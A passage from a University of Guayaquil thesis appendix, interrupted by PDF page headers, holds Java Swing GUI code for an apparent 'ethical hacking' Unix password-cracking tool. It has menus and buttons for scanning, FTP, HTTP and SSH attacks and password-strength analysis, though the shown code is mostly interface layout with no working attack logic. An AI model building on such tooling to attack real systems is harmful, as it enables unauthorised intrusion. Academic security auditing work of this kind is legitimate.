InputStream is_coloca; static BufferedReader br_coloca; static String aux_coloca=""; static InputStream is_extraelo; static BufferedReader br_extraelo; static String aux_extraelo=""; static InputStream is_descifra; static BufferedReader br_descifra; static String aux_descifra; static String cadena_total_descifra="";

Page 254: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

239

static InputStream is_guardar_bd; static BufferedReader br_guardar_bd; static String aux_guardar_bd; static String cadena_total_guardar_bd=""; static String cadena_total_passwords=""; static InputStream is_clear; static BufferedReader br_clear; static String aux_clear; static InputStream is_red; static BufferedReader br_red; static String aux_red; static String cadena_total_red=""; static InputStream is; static BufferedReader br; private javax.swing.JButton boton_analiza; private javax.swing.JButton boton_ayuda; private javax.swing.JButton boton_exec_análisis; private javax.swing.JButton boton_exec_attack; private javax.swing.JButton boton_execute_extract; private javax.swing.JButton boton_logs; private javax.swing.JButton boton_retorno; private javax.swing.JButton boton_stop_análisis; private javax.swing.JButton boton_stop_attack; private javax.swing.JButton boton_stop_extract; private javax.swing.JButton execute_ip; private javax.swing.JLabel jLabel1; private javax.swing.JLabel jLabel10; private javax.swing.JLabel jLabel2; private javax.swing.JLabel jLabel3; private javax.swing.JLabel jLabel4; private javax.swing.JLabel jLabel5; private javax.swing.JLabel jLabel6; private javax.swing.JLabel jLabel7; private javax.swing.JLabel jLabel8; private javax.swing.JLabel jLabel9; private javax.swing.JScrollPane jScrollPane1; private javax.swing.JScrollPane jScrollPane2; private javax.swing.JScrollPane jScrollPane3; private javax.swing.JScrollPane jScrollPane4; private javax.swing.JEditorPane text_analiza_passwd; private javax.swing.JEditorPane text_attack; private javax.swing.JEditorPane text_estado_ip; private javax.swing.JEditorPane text_extract; }

Page 255: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

240

Hackeo.java

import java.net.*; import java.io.*; import java.io.PrintStream; import javax.swing.JOptionPane; public class hackeo extends javax.swing.JFrame { public hackeo(String host) { ip_final=host; initComponents(); } private void initComponents() { jLabel1 = new javax.swing.JLabel(); botonhackeo = new javax.swing.JButton(); boton_xploit = new javax.swing.JButton(); boton_ssh = new javax.swing.JButton(); boton_general = new javax.swing.JButton(); jLabel2 = new javax.swing.JLabel(); jMenuBar1 = new javax.swing.JMenuBar(); scan = new javax.swing.JMenu(); scan_ip_puertos = new javax.swing.JMenuItem(); hackeo = new javax.swing.JMenu(); hacking_etico = new javax.swing.JMenuItem(); análisis = new javax.swing.JMenu(); análisis_claves = new javax.swing.JMenuItem(); reportes = new javax.swing.JMenu(); reportes_estadisticos = new javax.swing.JMenuItem(); estadisticas = new javax.swing.JMenu(); estadisticas_re = new javax.swing.JMenuItem(); ayuda = new javax.swing.JMenu(); ayudita = new javax.swing.JMenuItem(); acerca_de = new javax.swing.JMenu(); acerca_de_menu = new javax.swing.JMenuItem(); salir = new javax.swing.JMenu(); salida = new javax.swing.JMenuItem(); setDefaultCloseOperation(javax.swing.WindowConstants.DISPOSE_ON_CLOSE); setTitle("Cracker de Passwords Unix 2007"); jLabel1.setFont(new java.awt.Font("Arial", 0, 18)); jLabel1.setForeground(new java.awt.Color(0, 0, 204)); jLabel1.setText("Pantalla de Ejecuci\u00f3n de Ataques remotos de Auditoria"); botonhackeo.setFont(new java.awt.Font("Arial", 1, 10)); botonhackeo.setForeground(new java.awt.Color(0, 102, 102)); botonhackeo.setIcon(new javax.swing.ImageIcon("C:\\hacking_etico\\imagenes\\hackeo.gif")); botonhackeo.setText("Ataque SSH"); botonhackeo.setToolTipText("Hackeo"); botonhackeo.addActionListener(new java.awt.event.ActionListener() {

Page 256: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

241

public void actionPerformed(java.awt.event.ActionEvent evt) { botonhackeoActionPerformed(evt); } }); boton_xploit.setFont(new java.awt.Font("Arial", 1, 10)); boton_xploit.setForeground(new java.awt.Color(0, 102, 102)); boton_xploit.setIcon(new javax.swing.ImageIcon("C:\\hacking_etico\\imagenes\\hackeo.gif")); boton_xploit.setText("Ataque "); boton_xploit.setToolTipText("Hackeo"); boton_xploit.setEnabled(false); boton_xploit.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { boton_xploitActionPerformed(evt); } }); boton_ssh.setFont(new java.awt.Font("Arial", 1, 10)); boton_ssh.setForeground(new java.awt.Color(0, 102, 102)); boton_ssh.setIcon(new javax.swing.ImageIcon("C:\\hacking_etico\\imagenes\\hackeo.gif")); boton_ssh.setText("Ataque"); boton_ssh.setToolTipText("Hackeo"); boton_ssh.setEnabled(false); boton_ssh.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { boton_sshActionPerformed(evt); } }); boton_general.setFont(new java.awt.Font("Arial", 1, 10)); boton_general.setForeground(new java.awt.Color(0, 102, 102)); boton_general.setIcon(new javax.swing.ImageIcon("C:\\hacking_etico\\imagenes\\hackeo.gif")); boton_general.setText("Ataque"); boton_general.setToolTipText("Hackeo"); boton_general.setEnabled(false); boton_general.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { boton_generalActionPerformed(evt); } }); jLabel2.setFont(new java.awt.Font("Arial", 0, 18)); jLabel2.setForeground(new java.awt.Color(0, 102, 102)); jLabel2.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/escudo_u.JPG")); scan.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/scan.gif")); scan.setText("Scan"); scan.setToolTipText("Con esta opci on empieza el escaneo de maquinas");

Page 257: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

242

scan.setFont(new java.awt.Font("Arial", 0, 10)); scan_ip_puertos.setFont(new java.awt.Font("Arial", 0, 10)); scan_ip_puertos.setIcon(new javax.swing.ImageIcon("C:\\hacking_etico\\imagenes\\scan.gif")); scan_ip_puertos.setText("Scan del sistema"); scan_ip_puertos.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { scan_ip_puertosActionPerformed(evt); } }); scan.add(scan_ip_puertos); jMenuBar1.add(scan); hackeo.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/hackeo.gif")); hackeo.setText("Hackeo"); hackeo.setToolTipText("Con esta opcion empieza la diversi\u00f3n"); hackeo.setFont(new java.awt.Font("Arial", 0, 10)); hacking_etico.setFont(new java.awt.Font("Arial", 0, 10)); hacking_etico.setIcon(new javax.swing.ImageIcon("C:\\hacking_etico\\imagenes\\hackeo.gif")); hacking_etico.setText("Hackeo a lo salvaje"); hacking_etico.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { hacking_eticoActionPerformed(evt); } }); hackeo.add(hacking_etico); jMenuBar1.add(hackeo); análisis.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/análisis.gif")); análisis.setText("An\u00e1lisis"); análisis.setToolTipText("Análisis de seguridad del sistema"); análisis.setEnabled(false); análisis.setFont(new java.awt.Font("Arial", 0, 10)); análisis_claves.setFont(new java.awt.Font("Arial", 0, 10)); análisis_claves.setIcon(new javax.swing.ImageIcon("C:\\hacking_etico\\imagenes\\análisis.gif")); análisis_claves.setText("Analiisis de datos"); análisis_claves.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { análisis_clavesActionPerformed(evt); } }); análisis.add(análisis_claves); jMenuBar1.add(análisis); reportes.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/reportes.gif")); reportes.setText("Reportes");

Page 258: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

243

reportes.setToolTipText("Con esta opcion se pueden visualizar los diferentes reportes"); reportes.setFont(new java.awt.Font("Arial", 0, 10)); reportes_estadisticos.setFont(new java.awt.Font("Arial", 0, 10)); reportes_estadisticos.setIcon(new javax.swing.ImageIcon("C:\\hacking_etico\\imagenes\\start.gif")); reportes_estadisticos.setText("Reportes del sistema"); reportes_estadisticos.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { reportes_estadisticosActionPerformed(evt); } }); reportes.add(reportes_estadisticos); jMenuBar1.add(reportes); estadisticas.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/estadisticas.gif")); estadisticas.setText("Estad\u00edstica"); estadisticas.setToolTipText("Esta opcion nos muestra las estadisticas del sistema"); estadisticas.setFont(new java.awt.Font("Arial", 0, 10)); estadisticas_re.setFont(new java.awt.Font("Arial", 0, 10)); estadisticas_re.setIcon(new javax.swing.ImageIcon("C:\\hacking_etico\\imagenes\\estadisticas.gif")); estadisticas_re.setText("Estadisticas del sistema"); estadisticas.add(estadisticas_re); jMenuBar1.add(estadisticas); ayuda.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/ayuda.GIF")); ayuda.setText("Ayuda"); ayuda.setToolTipText("Esta opcion ofrece ayuda en linea"); ayuda.setFont(new java.awt.Font("Arial", 0, 10)); ayudita.setFont(new java.awt.Font("Arial", 0, 10)); ayudita.setIcon(new javax.swing.ImageIcon("C:\\hacking_etico\\imagenes\\ayuda.GIF")); ayudita.setText("Ayuda en linea"); ayuda.add(ayudita); jMenuBar1.add(ayuda); acerca_de.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/acerca_de.GIF")); acerca_de.setText("Acerca..."); acerca_de.setFont(new java.awt.Font("Arial", 0, 10)); acerca_de_menu.setFont(new java.awt.Font("Arial", 0, 10)); acerca_de_menu.setIcon(new javax.swing.ImageIcon("C:\\hacking_etico\\imagenes\\acerca_de.GIF")); acerca_de_menu.setText("Creditos del programa"); acerca_de.add(acerca_de_menu); jMenuBar1.add(acerca_de); salir.setIcon(new

Page 259: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

244

javax.swing.ImageIcon("/root/hacking_etico/imagenes/salir.GIF")); salir.setText("Salir"); salir.setToolTipText("Salir del sistema"); salir.setFont(new java.awt.Font("Arial", 0, 10)); salida.setFont(new java.awt.Font("Arial", 0, 10)); salida.setIcon(new javax.swing.ImageIcon("C:\\hacking_etico\\imagenes\\salir.GIF")); salida.setText("Salir del sistema"); salir.add(salida); jMenuBar1.add(salir); setJMenuBar(jMenuBar1); org.jdesktop.layout.GroupLayout layout = new org.jdesktop.layout.GroupLayout(getContentPane()); getContentPane().setLayout(layout); layout.setHorizontalGroup( layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(layout.createSequentialGroup() .add(52, 52, 52) .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING, false) .add(boton_general, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) .add(botonhackeo, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)) .add(39, 39, 39) .add(jLabel2) .add(32, 32, 32) .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(boton_ssh, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, 144, Short.MAX_VALUE) .add(boton_xploit, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, 144, Short.MAX_VALUE)) .add(38, 38, 38)) .add(org.jdesktop.layout.GroupLayout.TRAILING, layout.createSequentialGroup() .addContainerGap(65, Short.MAX_VALUE) .add(jLabel1) .add(47, 47, 47)) ); layout.setVerticalGroup( layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(layout.createSequentialGroup() .addContainerGap() .add(jLabel1) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(layout.createSequentialGroup() .add(28, 28, 28) .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.TRAILING)

Page 260: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

245

.add(boton_xploit, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 41, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE) .add(botonhackeo, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 41, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE)) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED, 80, Short.MAX_VALUE) .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.TRAILING) .add(boton_ssh, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 41, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE) .add(boton_general, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 37, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE))) .add(layout.createSequentialGroup() .add(14, 14, 14) .add(jLabel2))) .addContainerGap(25, Short.MAX_VALUE)) ); java.awt.Dimension screenSize = java.awt.Toolkit.getDefaultToolkit().getScreenSize(); setBounds((screenSize.width-609)/2, (screenSize.height-315)/2, 609, 315); }// </editor-fold> private void boton_generalActionPerformed(java.awt.event.ActionEvent evt) { hide();dispose(); pantalla_attack_http http = new pantalla_attack_http(); http.show(); } private void reportes_estadisticosActionPerformed(java.awt.event.ActionEvent evt) { reporte report = new reporte(); report.show(); } private void análisis_clavesActionPerformed(java.awt.event.ActionEvent evt) { } private void hacking_eticoActionPerformed(java.awt.event.ActionEvent evt) { hackeo hack = new hackeo(ip_final); hack.show(); } private void scan_ip_puertosActionPerformed(java.awt.event.ActionEvent evt) { hide();dispose(); pantalla_scan pa = new pantalla_scan(); pa.show(); } private void boton_sshActionPerformed(java.awt.event.ActionEvent evt) { hide();dispose();

Page 261: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

246

Msg a=new Msg("AVISO","/root/hacking_etico_linux/imagenes/escudo_u.jpg","funcion aun en construccion","disculpe las molestias","en un futuro estara lista...gracias"); } private void boton_xploitActionPerformed(java.awt.event.ActionEvent evt) { hide();dispose(); Msg a=new Msg("AVISO","/root/hacking_etico_linux/imagenes/escudo_u.jpg","funcion aun en construccion","disculpe las molestias","en un futuro estara lista...gracias"); } private void botonhackeoactionperformed(java.awt.event.actionevent evt) { hide();dispose(); pantalla_attack_ftp attack1= new pantalla_attack_ftp(ip_final); attack1.show(); } public static void main(String args[]) { java.awt.EventQueue.invokeLater(new Runnable() { public void run() { new hackeo(ip_final).setVisible(true); } }); } static String ip_final=""; private javax.swing.JMenu acerca_de; private javax.swing.JMenuItem acerca_de_menu; private javax.swing.JMenu análisis; private javax.swing.JMenuItem análisis_claves; private javax.swing.JMenu ayuda; private javax.swing.JMenuItem ayudita; private javax.swing.JButton boton_general; private javax.swing.JButton boton_ssh; private javax.swing.JButton boton_xploit; private javax.swing.JButton botonhackeo; private javax.swing.JMenu estadisticas; private javax.swing.JMenuItem estadisticas_re; private javax.swing.JMenu hackeo; private javax.swing.JMenuItem hacking_etico; private javax.swing.JLabel jLabel1; private javax.swing.JLabel jLabel2; private javax.swing.JMenuBar jMenuBar1; private javax.swing.JMenu reportes; private javax.swing.JMenuItem reportes_estadisticos; private javax.swing.JMenuItem salida; private javax.swing.JMenu salir; private javax.swing.JMenu scan; private javax.swing.JMenuItem scan_ip_puertos; }

Page 262: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

247

Parámetros_análisis.java

public class parametros_análisis extends javax.swing.JFrame { public parametros_análisis(String ip) { ip_final=ip; initComponents(); } private void initComponents() { jLabel2 = new javax.swing.JLabel(); jLabel11 = new javax.swing.JLabel(); jLabel13 = new javax.swing.JLabel(); jLabel14 = new javax.swing.JLabel(); jLabel15 = new javax.swing.JLabel(); jLabel16 = new javax.swing.JLabel(); text_alto = new javax.swing.JTextField(); text_medio = new javax.swing.JTextField(); text_bajo = new javax.swing.JTextField(); jLabel19 = new javax.swing.JLabel(); jLabel22 = new javax.swing.JLabel(); jLabel23 = new javax.swing.JLabel(); text_dias = new javax.swing.JTextField(); jLabel24 = new javax.swing.JLabel(); boton_aceptar = new javax.swing.JButton(); boton_limpiar = new javax.swing.JButton(); boton_salir = new javax.swing.JButton(); jLabel1 = new javax.swing.JLabel(); jLabel17 = new javax.swing.JLabel(); setTitle("METRICAS DE ANÁLISIS"); jLabel2.setFont(new java.awt.Font("Serif", 3, 18)); jLabel2.setForeground(new java.awt.Color(153, 153, 0)); jLabel2.setText("Par\u00e1metros de An\u00e1lisis"); jLabel11.setFont(new java.awt.Font("Serif", 3, 14)); jLabel11.setForeground(new java.awt.Color(0, 51, 255)); jLabel11.setText("Dias de vigencia del password-->"); jLabel13.setFont(new java.awt.Font("Serif", 3, 14)); jLabel13.setForeground(new java.awt.Color(255, 0, 51)); jLabel13.setText("Ingrese los porcentajes de seguridad a evaluar--->"); jLabel14.setFont(new java.awt.Font("Serif", 3, 14)); jLabel14.setForeground(new java.awt.Color(0, 51, 255)); jLabel14.setText("Alto--->"); jLabel15.setFont(new java.awt.Font("Serif", 3, 14)); jLabel15.setForeground(new java.awt.Color(0, 51, 255)); jLabel15.setText("Medio--->"); jLabel16.setFont(new java.awt.Font("Serif", 3, 14)); jLabel16.setForeground(new java.awt.Color(0, 51, 255)); jLabel16.setText("Bajo-->"); jLabel19.setFont(new java.awt.Font("Serif", 3, 14));

Page 263: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

248

jLabel19.setForeground(new java.awt.Color(0, 51, 255)); jLabel19.setText("%"); jLabel22.setFont(new java.awt.Font("Serif", 3, 14)); jLabel22.setForeground(new java.awt.Color(0, 51, 255)); jLabel22.setText("%"); jLabel23.setFont(new java.awt.Font("Serif", 3, 14)); jLabel23.setForeground(new java.awt.Color(0, 51, 255)); jLabel23.setText("%"); jLabel24.setFont(new java.awt.Font("Serif", 3, 14)); jLabel24.setForeground(new java.awt.Color(0, 51, 255)); jLabel24.setText("Dias"); boton_aceptar.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/cafe.gif")); boton_aceptar.setText("Aceptar"); boton_aceptar.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { boton_aceptarActionPerformed(evt); } }); boton_limpiar.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/cafe.gif")); boton_limpiar.setText("Limpiar"); boton_limpiar.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { boton_limpiarActionPerformed(evt); } }); boton_salir.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/cafe.gif")); boton_salir.setText("Salir"); jLabel1.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/escudo_u.JPG")); jLabel17.setFont(new java.awt.Font("Serif", 3, 14)); jLabel17.setForeground(new java.awt.Color(255, 0, 51)); jLabel17.setText("Ingrese los dias de validez de passwd- ( dias solamente )"); org.jdesktop.layout.GroupLayout layout = new org.jdesktop.layout.GroupLayout(getContentPane()); getContentPane().setLayout(layout); layout.setHorizontalGroup( layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(layout.createSequentialGroup() .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(layout.createSequentialGroup() .addContainerGap() .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(layout.createSequentialGroup() .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.TRAILING)

Page 264: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

249

.add(org.jdesktop.layout.GroupLayout.LEADING, jLabel16) .add(org.jdesktop.layout.GroupLayout.LEADING, jLabel14) .add(layout.createSequentialGroup() .add(jLabel15) .add(56, 56, 56))) .add(jLabel11)) .add(25, 25, 25) .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.TRAILING) .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.TRAILING) .add(org.jdesktop.layout.GroupLayout.LEADING, text_bajo, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 44, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE) .add(text_alto, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 44, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE) .add(text_medio, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 44, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE)) .add(text_dias, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 44, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE))) .add(layout.createSequentialGroup() .add(boton_aceptar) .add(55, 55, 55) .add(boton_limpiar))) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(boton_salir) .add(jLabel22) .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(org.jdesktop.layout.GroupLayout.TRAILING, layout.createSequentialGroup() .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(jLabel19)) .add(jLabel23)) .add(jLabel24, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 41, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE))) .add(layout.createSequentialGroup() .add(135, 135, 135) .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(jLabel2, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 219, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE) .add(jLabel1))) .add(layout.createSequentialGroup() .addContainerGap() .add(jLabel13)))

Page 265: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

250

.addContainerGap(39, Short.MAX_VALUE)) .add(org.jdesktop.layout.GroupLayout.TRAILING, layout.createSequentialGroup() .addContainerGap(org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) .add(jLabel17) .addContainerGap()) ); layout.setVerticalGroup( layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(org.jdesktop.layout.GroupLayout.TRAILING, layout.createSequentialGroup() .addContainerGap() .add(jLabel2) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED, 23, Short.MAX_VALUE) .add(jLabel1) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(jLabel13) .add(17, 17, 17) .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(layout.createSequentialGroup() .add(jLabel14) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(jLabel15) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(jLabel16)) .add(layout.createSequentialGroup() .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.BASELINE) .add(text_alto, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE) .add(jLabel19)) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.BASELINE) .add(text_medio, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE) .add(jLabel22)) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.BASELINE) .add(text_bajo, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE) .add(jLabel23))))

Page 266: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

251

.addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(jLabel17) .add(20, 20, 20) .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.BASELINE) .add(jLabel11) .add(text_dias, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE) .add(jLabel24)) .add(21, 21, 21) .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.BASELINE) .add(boton_aceptar) .add(boton_salir) .add(boton_limpiar)) .addContainerGap()) ); java.awt.Dimension screenSize = java.awt.Toolkit.getDefaultToolkit().getScreenSize(); setBounds((screenSize.width-462)/2, (screenSize.height-493)/2, 462, 493); }// </editor-fold> private void boton_limpiarActionPerformed(java.awt.event.ActionEvent evt) { alto=0; medio=0; bajo=0; valida_alto=""; valida_medio=""; valida_bajo=""; valida_fecha=""; flag_alto = false; flag_medio = false; flag_bajo = false; flag_fecha = false; fleg = false; text_alto.setText(""); text_medio.setText(""); text_bajo.setText(""); text_dias.setText(""); } private void boton_aceptarActionPerformed(java.awt.event.ActionEvent evt) { valida_alto=""; valida_medio=""; valida_bajo=""; valida_fecha=""; flag_alto = false; flag_medio = false; flag_bajo = false; flag_fecha = false; alto=0; medio=0; bajo=0; try{ valida_alto = text_alto.getText().trim(); for (int i =0;i<valida_alto.length();i++) {

Page 267: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

252

if(valida_alto.charAt(i) != '0' && valida_alto.charAt(i) != '1' && valida_alto.charAt(i) != '2' && valida_alto.charAt(i) != '3' && valida_alto.charAt(i) != '4' && valida_alto.charAt(i) != '5' && valida_alto.charAt(i) != '6' && valida_alto.charAt(i) != '7' && valida_alto.charAt(i) != '8' && valida_alto.charAt(i) != '9') { flag_alto = true; } if (i>1) { flag_alto = true; } } if (flag_alto ==true) { Msg a=new Msg("AVISO","/root/hacking_etico/imagenes/escudo_u.jpg","el campo % alto debe ser un número de maximo dos digitos","ingrese un valor correcto de maximo dos digitos","vuelvalo a intentar..."); text_alto.setText(""); } valida_medio = text_medio.getText().trim(); for (int i =0;i<valida_medio.length();i++) { if(valida_medio.charAt(i) != '0' && valida_medio.charAt(i) != '1' && valida_medio.charAt(i) != '2' && valida_medio.charAt(i) != '3' && valida_medio.charAt(i) != '4' && valida_medio.charAt(i) != '5' && valida_medio.charAt(i) != '6' && valida_medio.charAt(i) != '7' && valida_medio.charAt(i) != '8' && valida_medio.charAt(i) != '9') { flag_medio = true; } if (i>1) { flag_medio = true; } } if (flag_medio ==true) { Msg a=new Msg("AVISO","/root/hacking_etico/imagenes/escudo_u.jpg","el campo % medio debe ser un número de maximo dos digitos","ingrese un valor correcto de maximo dos digitos","vuelvalo a intentar..."); text_medio.setText(""); } valida_bajo = text_bajo.getText().trim(); for (int i =0;i<valida_bajo.length();i++) { if(valida_bajo.charAt(i) != '0' && valida_bajo.charAt(i) != '1' && valida_bajo.charAt(i) != '2' && valida_bajo.charAt(i) != '3' && valida_bajo.charAt(i) !=

Page 268: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

253

